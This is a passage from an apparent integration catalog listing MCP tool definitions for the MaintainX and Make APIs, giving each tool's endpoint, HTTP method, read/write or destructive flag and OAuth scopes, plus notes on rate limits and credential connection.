resources via GET /rootcauseanalysisreports GET /api/v1/maintainx/rootcauseanalysisreports. Scopes: api. maintainx_get_rootcauseanalysisreports_by_id (read) — Get root cause analysis report via GET /rootcauseanalysisreports/{id} GET /api/v1/maintainx/rootcauseanalysisreports/{id}. Scopes: api. maintainx_get_subscriptions_by_id (read) — Get subscription via GET /subscriptions/{id} GET /api/v1/maintainx/subscriptions/{id}. Scopes: api. maintainx_get_subscriptions_by_id_secret (read) — Get secret information via GET /subscriptions/{id}/secret GET /api/v1/maintainx/subscriptions/{id}/secret. Scopes: api. maintainx_get_teams (read) — Endpoint used to list team resources via GET /teams GET /api/v1/maintainx/teams. Scopes: api. maintainx_get_teams_by_id (read) — Get team via GET /teams/{id} GET /api/v1/maintainx/teams/{id}. Scopes: api. maintainx_get_teams_by_id_members (read) — List team members via GET /teams/{id}/members GET /api/v1/maintainx/teams/{id}/members. Scopes: api. maintainx_get_users (read) — Endpoint used to list user resources via GET /users GET /api/v1/maintainx/users. Scopes: api. maintainx_get_users_by_id (read) — Get user via GET /users/{id} GET /api/v1/maintainx/users/{id}. Scopes: api. maintainx_get_vendors (read) — Endpoint used to list vendor resources via GET /vendors GET /api/v1/maintainx/vendors. Scopes: api. maintainx_get_vendors_by_id (read) — Get vendor via GET /vendors/{id} GET /api/v1/maintainx/vendors/{id}. Scopes: api. maintainx_get_vendors_by_id_contacts (read) — List contacts via GET /vendors/{id}/contacts GET /api/v1/maintainx/vendors/{id}/contacts. Scopes: api. maintainx_get_vendors_by_id_contacts_by_contactid (read) — Get contact via GET /vendors/{id}/contacts/{contactId} GET /api/v1/maintainx/vendors/{id}/contacts/{contactId}. Scopes: api. maintainx_get_versions (read) — Get list of available API versions via GET /versions GET /api/v1/maintainx/versions. Scopes: api. maintainx_get_workorders (read) — Endpoint used to list work order resources via GET /workorders GET /api/v1/maintainx/workorders. Scopes: api. maintainx_get_workorders_by_id (read) — Get work order via GET /workorders/{id} GET /api/v1/maintainx/workorders/{id}. Scopes: api. maintainx_get_workorders_by_id_comments (read) — List work order comments via GET /workorders/{id}/comments GET /api/v1/maintainx/workorders/{id}/comments. Scopes: api. maintainx_get_workorders_by_id_costs (read) — Get costs information via GET /workorders/{id}/costs GET /api/v1/maintainx/workorders/{id}/costs. Scopes: api. maintainx_get_workorders_by_id_subworkorders (read) — List sub work orders via GET /workorders/{id}/subworkorders GET /api/v1/maintainx/workorders/{id}/subworkorders. Scopes: api. maintainx_get_workorders_external_by_externalid (read) — Get work order by external ID via GET /workorders/external/{externalId} GET /api/v1/maintainx/workorders/external/{externalId}. Scopes: api. maintainx_get_workrequestportals (read) — Endpoint used to list work request portal resources via GET /workrequestportals GET /api/v1/maintainx/workrequestportals. Scopes: api. maintainx_get_workrequestportals_by_id (read) — Get work request portal via GET /workrequestportals/{id} GET /api/v1/maintainx/workrequestportals/{id}. Scopes: api. maintainx_get_workrequests (read) — Endpoint used to list work request resources via GET /workrequests GET /api/v1/maintainx/workrequests. Scopes: api. maintainx_get_workrequests_by_id (read) — Get work request via GET /workrequests/{id} GET /api/v1/maintainx/workrequests/{id}. Scopes: api. maintainx_patch_assetcustomstatuses_by_id (write) — Update asset custom status via PATCH /assetcustomstatuses/{id} PATCH /api/v1/maintainx/assetcustomstatuses/{id}. Scopes: api. maintainx_patch_assets_by_id (write) — Update asset via PATCH /assets/{id} PATCH /api/v1/maintainx/assets/{id}. Scopes: api. maintainx_patch_assets_external_by_externalid (write) — Idempotent upsert keyed on the external ID in the path. If an asset has this external ID, it will be updated (and undeleted, if the asset was previously deleted). Otherwise, a new asset will be created with this external ID. via PATCH /assets/external/{externalId} PATCH /api/v1/maintainx/assets/external/{externalId}. Scopes: api. maintainx_patch_assetstatuses_by_id (write) — Update asset status via PATCH /assetstatuses/{id} PATCH /api/v1/maintainx/assetstatuses/{id}. Scopes: api. maintainx_patch_categories_by_id (write) — Update category via PATCH /categories/{id} PATCH /api/v1/maintainx/categories/{id}. Scopes: api. maintainx_patch_customfields_by_entity_by_id (write) — Edit custom field via PATCH /customfields/{entity}/{id} PATCH /api/v1/maintainx/customfields/{entity}/{id}. Scopes: api. maintainx_patch_locations_by_id (write) — Update location via PATCH /locations/{id} PATCH /api/v1/maintainx/locations/{id}. Scopes: api. maintainx_patch_locations_external_by_externalid (write) — Idempotent upsert keyed on the external ID in the path. If a location has this external ID, it will be updated (and undeleted, if the location was previously deleted). Otherwise, a new location will be created with this external ID. via PATCH /locations/external/{externalId} PATCH /api/v1/maintainx/locations/external/{externalId}. Scopes: api. maintainx_patch_maintenanceplans_by_id (write) — Update a maintenance plan via PATCH /maintenanceplans/{id} PATCH /api/v1/maintainx/maintenanceplans/{id}. Scopes: api. maintainx_patch_meters_by_id (write) — Update meter via PATCH /meters/{id} PATCH /api/v1/maintainx/meters/{id}. Scopes: api. maintainx_patch_metertriggers_by_id (write) — Update meter trigger via PATCH /metertriggers/{id} PATCH /api/v1/maintainx/metertriggers/{id}. Scopes: api. maintainx_patch_metertriggers_by_id_workordertemplates (write) — Update Meter Trigger's Work Order Template via PATCH /metertriggers/{id}/workordertemplates PATCH /api/v1/maintainx/metertriggers/{id}/workordertemplates. Scopes: api. maintainx_patch_parts_by_id (write) — Update part via PATCH /parts/{id} PATCH /api/v1/maintainx/parts/{id}. Scopes: api. maintainx_patch_parts_external_by_externalid (write) — Idempotent upsert keyed on the external ID in the path. If a part has this external ID, it will be updated (and undeleted, if the part was previously deleted). Otherwise, a new part will be created with this external ID. via PATCH /parts/external/{externalId} PATCH /api/v1/maintainx/parts/external/{externalId}. Scopes: api. maintainx_patch_parttransferrequests_by_id (write) — Update part transfer request via PATCH /parttransferrequests/{id} PATCH /api/v1/maintainx/parttransferrequests/{id}. Scopes: api. maintainx_patch_proceduretemplaterows_by_id (write) — Update Procedure Template Row via PATCH /proceduretemplaterows/{id} PATCH /api/v1/maintainx/proceduretemplaterows/{id}. Scopes: api. maintainx_patch_proceduretemplates_by_id (write) — Update Procedure Template via PATCH /proceduretemplates/{id} PATCH /api/v1/maintainx/proceduretemplates/{id}. Scopes: api. maintainx_patch_purchaseorders_by_id (write) — Update purchase order via PATCH /purchaseorders/{id} PATCH /api/v1/maintainx/purchaseorders/{id}. Scopes: api. maintainx_patch_purchaseorders_by_id_fulfillment (write) — Fulfill purchase order via PATCH /purchaseorders/{id}/fulfillment PATCH /api/v1/maintainx/purchaseorders/{id}/fulfillment. Scopes: api. maintainx_patch_purchaseorders_by_id_status (write) — Update purchase order status via PATCH /purchaseorders/{id}/status PATCH /api/v1/maintainx/purchaseorders/{id}/status. Scopes: api. maintainx_patch_subscriptions_by_id (write) — Update subscription via PATCH /subscriptions/{id} PATCH /api/v1/maintainx/subscriptions/{id}. Scopes: api. maintainx_patch_teams_by_id (write) — Update team via PATCH /teams/{id} PATCH /api/v1/maintainx/teams/{id}. Scopes: api. maintainx_patch_teams_by_teamid_members_by_userid (write) — Update team member via PATCH /teams/{teamId}/members/{userId} PATCH /api/v1/maintainx/teams/{teamId}/members/{userId}. Scopes: api. maintainx_patch_users_by_id (write) — Update user via PATCH /users/{id} PATCH /api/v1/maintainx/users/{id}. Scopes: api. maintainx_patch_vendors_by_id (write) — Update vendor via PATCH /vendors/{id} PATCH /api/v1/maintainx/vendors/{id}. Scopes: api. maintainx_patch_vendors_by_id_contacts_by_contactid (write) — Update contact via PATCH /vendors/{id}/contacts/{contactId} PATCH /api/v1/maintainx/vendors/{id}/contacts/{contactId}. Scopes: api. maintainx_patch_workorders_by_id (write) — Update work order via PATCH /workorders/{id} PATCH /api/v1/maintainx/workorders/{id}. Scopes: api. maintainx_patch_workorders_by_id_partstatus (write) — Update work order part status via PATCH /workorders/{id}/partStatus PATCH /api/v1/maintainx/workorders/{id}/partStatus. Scopes: api. maintainx_patch_workorders_by_id_status (write) — Update work order status via PATCH /workorders/{id}/status PATCH /api/v1/maintainx/workorders/{id}/status. Scopes: api. maintainx_patch_workorders_external_by_externalid (write) — Idempotent upsert keyed on the external ID in the path. If a work order has this external ID, it will be updated (and undeleted, if the work order was previously deleted). Otherwise, a new work order will be created with this external ID. via PATCH /workorders/external/{externalId} PATCH /api/v1/maintainx/workorders/external/{externalId}. Scopes: api. maintainx_patch_workrequestportals_by_id (write) — Update work request portal via PATCH /workrequestportals/{id} PATCH /api/v1/maintainx/workrequestportals/{id}. Scopes: api. maintainx_patch_workrequests_by_id (write) — Update work request via PATCH /workrequests/{id} PATCH /api/v1/maintainx/workrequests/{id}. Scopes: api. maintainx_post_assetcustomstatuses (write) — Create new asset custom status type via POST /assetcustomstatuses POST /api/v1/maintainx/assetcustomstatuses. Scopes: api. maintainx_post_assets (write) — Create new asset via POST /assets POST /api/v1/maintainx/assets. Scopes: api. maintainx_post_assets_by_assetid_status (write) — Create a new asset status via POST /assets/{assetId}/status POST /api/v1/maintainx/assets/{assetId}/status. Scopes: api. maintainx_post_categories (write) — Create new category via POST /categories POST /api/v1/maintainx/categories. Scopes: api. maintainx_post_conversations_by_id_messages (write) — Create new message in a conversation via POST /conversations/{id}/messages POST /api/v1/maintainx/conversations/{id}/messages. Scopes: api. maintainx_post_customfields_by_entity (write) — Create custom field via POST /customfields/{entity} POST /api/v1/maintainx/customfields/{entity}. Scopes: api. maintainx_post_locations (write) — Create new location via POST /locations POST /api/v1/maintainx/locations. Scopes: api. maintainx_post_maintenanceplans (write) — Create a maintenance plan via POST /maintenanceplans POST /api/v1/maintainx/maintenanceplans. Scopes: api. maintainx_post_maintenanceplans_workorderblueprints (write) — Create a maintenance plan work order blueprint via POST /maintenanceplans/workorderblueprints POST /api/v1/maintainx/maintenanceplans/workorderblueprints. Scopes: api. maintainx_post_manufacturers (write) — Create new manufacturer via POST /manufacturers POST /api/v1/maintainx/manufacturers. Scopes: api. maintainx_post_meterreadings (write) — We strongly recommend using this endpoint to create meter readings since it is more efficient.

Rate Limits

  • For Automated and IoT meter readings: 100 requests / 60 seconds
  • For Manual meter readings: 10 requests / 24 hours
  • via POST /meterreadings POST /api/v1/maintainx/meterreadings. Scopes: api. maintainx_post_meters (write) — Endpoint used to create a new meter. Pay attention to the `measurementType` field as it has a significant impact on the behavior of your meter. via POST /meters POST /api/v1/maintainx/meters. Scopes: api. maintainx_post_meters_by_meterid_readings (write) — We strongly recommend using the batch create endpoint [POST /meterreadings](#tag/Meter-Readings/paths/~1meterreadings/post) to create meter readings since it is more efficient and allows you to send more readings at once without consuming as much rate limit as this endpoint.

    Rate Limits

  • For Automated and IoT meter readings: 1 request / 10 seconds
  • For Manual meter readings: 10 requests / 24 hours
  • via POST /meters/{meterId}/readings POST /api/v1/maintainx/meters/{meterId}/readings. Scopes: api. maintainx_post_metertriggers (write) — Create meter trigger via POST /metertriggers POST /api/v1/maintainx/metertriggers. Scopes: api. maintainx_post_models (write) — Create new model via POST /models POST /api/v1/maintainx/models. Scopes: api. maintainx_post_parts (write) — Create new part via POST /parts POST /api/v1/maintainx/parts. Scopes: api. maintainx_post_parttransferrequests (write) — Create a part transfer request via POST /parttransferrequests POST /api/v1/maintainx/parttransferrequests. Scopes: api. maintainx_post_proceduretemplates (write) — Create procedure template via POST /proceduretemplates POST /api/v1/maintainx/proceduretemplates. Scopes: api. maintainx_post_purchaseorders (write) — Create new purchase order via POST /purchaseorders POST /api/v1/maintainx/purchaseorders. Scopes: api. maintainx_post_purchaseorders_by_id_comments (write) — Create new comment on a purchase order via POST /purchaseorders/{id}/comments POST /api/v1/maintainx/purchaseorders/{id}/comments. Scopes: api. maintainx_post_purchaseorders_by_id_emails (write) — Send Purchase Order as an email via POST /purchaseorders/{id}/emails POST /api/v1/maintainx/purchaseorders/{id}/emails. Scopes: api. maintainx_post_subscriptions (write) — Create new subscription via POST /subscriptions POST /api/v1/maintainx/subscriptions. Scopes: api. maintainx_post_teams (write) — Create new team via POST /teams POST /api/v1/maintainx/teams. Scopes: api. maintainx_post_teams_by_id_members (write) — Add user to team via POST /teams/{id}/members POST /api/v1/maintainx/teams/{id}/members. Scopes: api. maintainx_post_users (write) — Create new user via POST /users POST /api/v1/maintainx/users. Scopes: api. maintainx_post_users_by_id_messages (write) — Create new direct message to a user via POST /users/{id}/messages POST /api/v1/maintainx/users/{id}/messages. Scopes: api. maintainx_post_vendors (write) — Create new vendor via POST /vendors POST /api/v1/maintainx/vendors. Scopes: api. maintainx_post_vendors_by_id_contacts (write) — Create new contact via POST /vendors/{id}/contacts POST /api/v1/maintainx/vendors/{id}/contacts. Scopes: api. maintainx_post_work_shifts (write) — Set per-day work shift capacity for one or more users. Re-sending a (user, date) pair overwrites the previous override. A maximum of 250 work shifts can be set per request. via POST /work-shifts POST /api/v1/maintainx/work-shifts. Scopes: api. maintainx_post_workorders (write) — Create new work order via POST /workorders POST /api/v1/maintainx/workorders. Scopes: api. maintainx_post_workorders_by_id_comments (write) — Create new comment on a work order via POST /workorders/{id}/comments POST /api/v1/maintainx/workorders/{id}/comments. Scopes: api. maintainx_post_workorders_by_id_costs (write) — Create new cost on a work order via POST /workorders/{id}/costs POST /api/v1/maintainx/workorders/{id}/costs. Scopes: api. maintainx_post_workorders_by_id_emails (write) — Send work order as an email via POST /workorders/{id}/emails POST /api/v1/maintainx/workorders/{id}/emails. Scopes: api. maintainx_post_workpermits_by_id_sign (write) — Sign a work permit via POST /workPermits/{id}/sign POST /api/v1/maintainx/workPermits/{id}/sign. Scopes: api. maintainx_post_workrequestportals (write) — Create new work request portal via POST /workrequestportals POST /api/v1/maintainx/workrequestportals. Scopes: api. maintainx_post_workrequests (write) — Create work request via POST /workrequests POST /api/v1/maintainx/workrequests. Scopes: api. ================================================================================ ## Make URL: https://www.agenticfabriq.com/integrations/make Section: Integrated Tools Make — 558 MCP tools Provider key: make. Scopes: admin:read, admin:write, agents:read, agents:write, ai-agents:read, ai-agents:write, analytics:read, apps:read, apps:write, connections:read, connections:write, credential-requests:read, credential-requests:write, custom-property-structures:read, custom-property-structures:write, datastores:read, datastores:write, devices:read, devices:write, dlqs:read, dlqs:write, endpoints:run, functions:read, functions:write, hooks:read, hooks:write, imt-forms:read, keys:read, keys:write, managed-organizations:read, managed-organizations:write, notifications:read, notifications:write, organization-variables:read, organization-variables:write, organizations:read, organizations:write, private-spaces:read, private-spaces:write, scenarios-shared:read, scenarios-shared:write, scenarios:read, scenarios:run, scenarios:write, sdk-apps:read, sdk-apps:write, system:read, team-variables:read, team-variables:write, teams:read, teams:write, templates:read, templates:write, udts:read, udts:write, user:read, user:write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. make_delete_admin_organizations_by_organizationid (write, destructive) — Deletes the specified organization. All data associated with the organization and with the teams in the organization, such as data stores and scenarios, are also deleted. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. DELETE /api/v1/make/admin/organizations/{organizationId}. Scopes: admin:write, organizations:write. make_delete_admin_organizations_by_organizationid_universal_discount (write, destructive) — Removes the active or dormant universal discount from the organization. Active discounts are terminated and the Stripe coupon is removed. Dormant discounts are expired. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. DELETE /api/v1/make/admin/organizations/{organizationId}/universal-discount. Scopes: admin:write, organizations:write. make_delete_admin_teams_by_teamid (write, destructive) — Deletes the team with the specified `teamId`. Make removes all users from the deleted team and deletes all data associated with the team, such as data stores and scenarios. The team won't be visible for the users. However, if you run the API call `GET /admin/teams` the response will contain also the deleted team with the `deleted: true` pair. Similarly, the team will remain visible in the Administration UI. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. DELETE /api/v1/make/admin/teams/{teamId}. Scopes: admin:write, teams:write. make_delete_admin_users_by_userid (write, destructive) — Deletes the user with the specified `userId`. Use the `deleteConnections` query parameter to delete the user's connections too. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. DELETE /api/v1/make/admin/users/{userId}. Scopes: admin:write, user:write. make_delete_agents_by_agentid (write, destructive) — Removes an agent with a given ID. DELETE /api/v1/make/agents/{agentId}. Scopes: agents:write. make_delete_ai_agents_v1_agents_by_agentid (write, destructive) — Delete an agent by its ID. DELETE /api/v1/make/ai-agents/v1/agents/{agentId}. Scopes: ai-agents:write. make_delete_ai_agents_v1_contexts_by_contextid (write, destructive) — Delete a context by its ID. DELETE /api/v1/make/ai-agents/v1/contexts/{contextId}. Scopes: ai-agents:write. make_delete_ai_browser_context_setups_by_setupid (write, destructive) — Cancels a running browser context setup flow: releases the remote browser session and, for a create flow, deletes the not-yet-adopted browser context. Only the user who started the flow can cancel it. Available only when the `is_ai_browser_contexts_enabled` feature flag is enabled. DELETE /api/v1/make/ai-browser/context-setups/{setupId}. Scopes: keys:write. make_delete_connections_by_connectionid (write, destructive) — Deletes a connection with a given ID and returns the ID in the response. DELETE /api/v1/make/connections/{connectionId}. Scopes: connections:write. make_delete_credential_requests_requests_by_requestid (write, destructive) — Deletes the given Credential Request. DELETE /api/v1/make/credential-requests/requests/{requestId}. Scopes: credential-requests:write. make_delete_custom_property_structures_custom_property_structure_items_by_custompropertystructureitemid (write, destructive) — Deletes the specified custom property structure item. Use the `confirmed` parameter to confirm deleting the structure item. When you delete a custom property item, Make deletes the data filled in the item as well. Deleting custom property item data is irreversible. DELETE /api/v1/make/custom-property-structures/custom-property-structure-items/{customPropertyStructureItemId}. Scopes: custom-property-structures:write. make_delete_data_stores (write, destructive) — Deletes data stores with given IDs and returns their IDs in the response. This endpoint allows deleting one or more data stores at once. DELETE /api/v1/make/data-stores. Scopes: datastores:write. make_delete_data_stores_by_datastoreid_data (write, destructive) — Deletes records from the specified data store. Specify the `keys` of the records you want to delete in the `keys` array in the request body. Use the `all` parameter in the request body to delete all records from the data store. You have to add the `confirmed` parameter in the API call query to confirm deleting the data, otherwise you get an error. When you are deleting all records, you can use the `exceptKeys` parameter to specify keys of the records which you want to keep. The response contains keys of the deleted records. DELETE /api/v1/make/data-stores/{dataStoreId}/data. Scopes: datastores:write. make_delete_data_structures_by_datastructureid (write, destructive) — Deletes a data structure with a given ID and returns the ID in the response. DELETE /api/v1/make/data-structures/{dataStructureId}. Scopes: udts:write. make_delete_devices_by_deviceid (write, destructive) — Errors:
    IM004 - Confirmation required (error with metadata) - needs confirmation
    IM405 - Device can't be deleted because it contains messages in queue (error with metadata) - needs confirmation
    IM005 - Device is locked by a running scenario and thus can't be deleted. DELETE /api/v1/make/devices/{deviceId}. Scopes: devices:write. make_delete_devices_by_deviceid_incomings (write, destructive) — "ids" and "all" can no be used together
    "ids" or "all" has to be set
    "exceptIds" is possible to use only with "all"
    It could happen, that some incoming messages are deleted and others not. In this case, the API returns a successful status code, and the response additionally contains an error object with a error description. DELETE /api/v1/make/devices/{deviceId}/incomings. Scopes: devices:write. make_delete_devices_by_deviceid_outgoings (write, destructive) — "ids" and "all" can no be used together
    "ids" or "all" has to be set
    "exceptIds" is possible to use only with "all"
    It could happen, that some incoming messages are deleted and others not. In this case, the API returns a successful status code, and the response additionally contains an error object with a error description. DELETE /api/v1/make/devices/{deviceId}/outgoings. Scopes: devices:write. make_delete_dlqs (write, destructive) — Deletes incomplete executions of the specified scenario. Specify the incomplete execution ID values in the `ids` array in the request body to delete the specified incomplete executions. You can set the `"all": true` pair to delete all incomplete executions of the specified scenario. If you use the `"all": true` parameter, you have to specify the `confirmed=true` query parameter to confirm the deletion. Otherwise, the API call returns the error IM004 (406). Add the `exceptIds` array to the request body to specify items you don't want to delete. You get an error if you try to delete incomplete executions which are being processed. The rest of the specified items is still deleted. DELETE /api/v1/make/dlqs. Scopes: dlqs:write. make_delete_dlqs_by_dlqid (write, destructive) — Required scope: datastores:write. DEPRECATED by Make; prefer the non-deprecated sibling. DELETE /api/v1/make/dlqs/{dlqId}. Scopes: dlqs:write. make_delete_functions_by_functionid (write, destructive) — Deletes the custom function. The response contains information whether the custom function is deleted or not. If you or any of your team members use the custom function in a scenario you have to use the `confirmed` parameter to confirm the custom function deletion. Otherwise, you get an error with a list of scenarios that use the custom function. DELETE /api/v1/make/functions/{functionId}. Scopes: functions:write. make_delete_hooks_by_hookid (write, destructive) — Deletes a hook with a given ID and returns the ID in the response. DELETE /api/v1/make/hooks/{hookId}. Scopes: hooks:write. make_delete_hooks_by_hookid_incomings (write, destructive) — Deletes items from the processing queue of the specified webhook. Specify the payload ID values that you want to delete in the request body in the `ids` array. You can set the `"all": true` pair to delete all items from the webhook processing queue. If you use the `"all": true` parameter, you have to specify the `confirmed=true` query parameter to confirm the deletion. Otherwise the API call returns the error IM004 (406). Add the `exceptIds` array to the request body to specify items you don't want to delete. The API call response will contain an error message if some of the specified queue items cannot be deleted. The rest of the specified items will be deleted. Deleting a webhook queue item is not allowed when the item is already being processed by the webhook. DELETE /api/v1/make/hooks/{hookId}/incomings. Scopes: hooks:write. make_delete_keys_by_keyid (write, destructive) — Deletes the specified key. Use the `confirmed` parameter to confirm deleting the key. Otherwise, you get an error and the key is not deleted. DELETE /api/v1/make/keys/{keyId}. Scopes: keys:write. make_delete_notifications (write, destructive) — Deletes notifications with given IDs and returns their IDs in the response. This endpoint allows deleting one or more notifications at once. DELETE /api/v1/make/notifications. Scopes: notifications:write. make_delete_organizations_by_organizationid (write, destructive) — Deletes the organization with the specified `organizationId`. Make also deletes all the teams in the organization. You can only delete organizations that are associated with your current Make zone. Your current Make zone is specified in the API call URL. Currently, it is either: - `eu1.make.com` - `us1.make.com`. DELETE /api/v1/make/organizations/{organizationId}. Scopes: organizations:write. make_delete_organizations_by_organizationid_subscription (write, destructive) — Cancel the active subscription. DELETE /api/v1/make/organizations/{organizationId}/subscription. Scopes: organizations:write. make_delete_organizations_by_organizationid_subscription_payment_methods_by_paymentmethodid (write, destructive) — Deletes a payment method from the organization's subscription. DELETE /api/v1/make/organizations/{organizationId}/subscription/payment-methods/{paymentMethodId}. Scopes: organizations:write. make_delete_organizations_by_organizationid_variables_by_variablename (write, destructive) — Deletes organization variable. If you don't have the custom variables feature available then the API call returns the error 404. Check the availability of the custom variables feature with the API call `GET /organizations/{organizationId}`. If the response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. DELETE /api/v1/make/organizations/{organizationId}/variables/{variableName}. Scopes: organization-variables:write. make_delete_outbound_webhooks_organizations_by_organizationid_webhooks_by_webhookid (write, destructive) — Permanently removes an outbound webhook subscription. The webhook stops receiving deliveries immediately. Endpoint is proxy for the Outbound Webhooks service. Full schema documentation is available at https://github.com/integromat/outbound-webhooks/blob/master/openapi/openapi.json. DELETE /api/v1/make/outbound-webhooks/organizations/{organizationId}/webhooks/{webhookId}. Scopes: organizations:write. make_delete_scenario_labels_by_labelid (write, destructive) — Deletes a team label. Requires `scenario edit` on the label's team. Removes the label from every scenario it was assigned to. DELETE /api/v1/make/scenario-labels/{labelId}. Scopes: scenarios:write. make_delete_scenario_labels_by_labelid_scenarios_by_scenarioid (write, destructive) — Removes a team label from a single scenario. Idempotent. DELETE /api/v1/make/scenario-labels/{labelId}/scenarios/{scenarioId}. Scopes: scenarios:write. make_delete_scenarios_by_scenarioid (write, destructive) — Deletes a scenario with a given ID and returns the ID in the response. DELETE /api/v1/make/scenarios/{scenarioId}. Scopes: scenarios:write. make_delete_scenarios_by_scenarioid_build_variables (write, destructive) — Deletes a buildtime variable with a given value for a scenario with a given ID and returns `OK` in the response. DELETE /api/v1/make/scenarios/{scenarioId}/build-variables. Scopes: scenarios:write. make_delete_scenarios_by_scenarioid_custom_properties (write, destructive) — Deletes custom properties data. Deleting custom properties data is irreversible. Use the `confirmed` parameter to confirm deleting the data, otherwise you get an error and the data are not deleted. DELETE /api/v1/make/scenarios/{scenarioId}/custom-properties. Scopes: scenarios:write. make_delete_scenarios_by_scenarioid_notes_by_noteid (write, destructive) — Deletes a scenario note with a given ID and returns the ID in the response. DELETE /api/v1/make/scenarios/{scenarioId}/notes/{noteId}. Scopes: scenarios:write. make_delete_scenarios_by_scenarioid_recovery (write, destructive) — Discards a scenario recovery snapshot for a given scenario. scenarioId = 0 is a sentinel for unsaved draft scenarios (no ownership check required). Deletes the team-scoped recovery key. DELETE /api/v1/make/scenarios/{scenarioId}/recovery. Scopes: scenarios:write. make_delete_scenarios_folders_by_folderid (write, destructive) — Deletes a scenario folder with a given ID and returns the ID in the response. Scenarios in the deleted folder and its subfolders are moved to the deleted folder's parent, or uncategorized when deleting a top-level folder. Descendant folders are deleted. DELETE /api/v1/make/scenarios-folders/{folderId}. Scopes: scenarios:write. make_delete_scenarios_shared_by_scenarioid_by_sharedscenarioid (write, destructive) — Deletes a shared scenario and returns the ID in the response. DELETE /api/v1/make/scenarios-shared/{scenarioId}/{sharedScenarioId}. Scopes: scenarios-shared:write. make_delete_sdk_apps_by_sdk_appname_by_sdk_appversion (write, destructive) — Delete App. DELETE /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}. Scopes: sdk-apps:write. make_delete_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname (write, destructive) — Deletes an endpoint. Only possible while the app is not public — once the app is public, endpoints can no longer be deleted; archive them instead. DELETE /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}. Scopes: sdk-apps:write. make_delete_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_connections (write, destructive) — Removes a connection (account) from the endpoint's list of attached connections. DELETE /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/connections. Scopes: sdk-apps:write. make_delete_sdk_apps_by_sdk_appname_by_sdk_appversion_functions_by_sdk_functionname (write, destructive) — Delete Function. DELETE /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/functions/{SDK_functionName}. Scopes: sdk-apps:write. make_delete_sdk_apps_by_sdk_appname_by_sdk_appversion_github_by_sdk_githubbindingid (write, destructive) — Unbinds the app version from the GitHub repository. The repository itself and its contents are never touched — only the binding record in Make is removed. Only the app's author (or an administrator) may delete bindings. DELETE /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github/{SDK_githubBindingId}. Scopes: sdk-apps:write. make_delete_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename (write, destructive) — Delete Module. DELETE /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}. Scopes: sdk-apps:write. make_delete_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs_by_sdk_rpcname (write, destructive) — Delete RPC. DELETE /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs/{SDK_rpcName}. Scopes: sdk-apps:write. make_delete_sdk_apps_connections_by_sdk_connectionname (write, destructive) — Deletes a connection. The connection must not be in use (e.g. referenced by a webhook/module/RPC or attached to an endpoint), otherwise the request is rejected. DELETE /api/v1/make/sdk/apps/connections/{SDK_connectionName}. Scopes: sdk-apps:write. make_delete_sdk_apps_webhooks_by_sdk_webhookname (write, destructive) — Delete Webhook. DELETE /api/v1/make/sdk/apps/webhooks/{SDK_webhookName}. Scopes: sdk-apps:write. make_delete_sdk_publisher_logo (write, destructive) — Removes the stored company logo. Succeeds with `204` even when no logo was stored — and in that case does not create a publisher profile. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). DELETE /api/v1/make/sdk/publisher/logo. Scopes: sdk-apps:write. make_delete_teams_by_teamid (write, destructive) — Deletes the team with the specified `teamId`. Make also deletes all data associated with the team, for example scenarios, webhooks or custom team variables. DELETE /api/v1/make/teams/{teamId}. Scopes: teams:write. make_delete_teams_by_teamid_connections_by_connectionid_access_list_users_by_userid (write, destructive) — Removes a user from a connection's access list. Requires `entity manage`. Returns `404` if the user is not on the access list, and `409` if removing them would leave the connection without an Entity Admin. DELETE /api/v1/make/teams/{teamId}/connections/{connectionId}/access-list/users/{userId}. Scopes: connections:write. make_delete_teams_by_teamid_keys_by_keyid_access_list_users_by_userid (write, destructive) — Removes a user from a key's access list. Requires `entity manage`. Returns `404` if the user is not on the access list, and `409` if removing them would leave the key without an Entity Admin. DELETE /api/v1/make/teams/{teamId}/keys/{keyId}/access-list/users/{userId}. Scopes: keys:write. make_delete_teams_by_teamid_variables_by_variablename (write, destructive) — Deletes team variable. If you don't have the custom variables feature available then the API call returns error 404. Check the availability of the custom variables feature with the API call `GET /organizations/{organizationId}` for the organization in which the team belongs. If the response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. DELETE /api/v1/make/teams/{teamId}/variables/{variableName}. Scopes: team-variables:write. make_delete_templates_by_templateid (write, destructive) — Deletes a template with a given ID and returns the ID in the response. DELETE /api/v1/make/templates/{templateId}. Scopes: templates:write. make_delete_users_custom_roles_by_roleid (write, destructive) — Deletes an existing custom role. Only custom-managed roles can be deleted. The role must not be currently assigned to any users. DELETE /api/v1/make/users/custom-roles/{roleId}. Scopes: user:write. make_delete_users_me_oauth_connections_by_clientid (write, destructive) — Delete a specific OAuth connection for the currently authenticated user. DELETE /api/v1/make/users/me/oauth-connections/{clientId}. Scopes: organizations:read. make_delete_users_me_pinned_apps_by_appname (write, destructive) — Removes 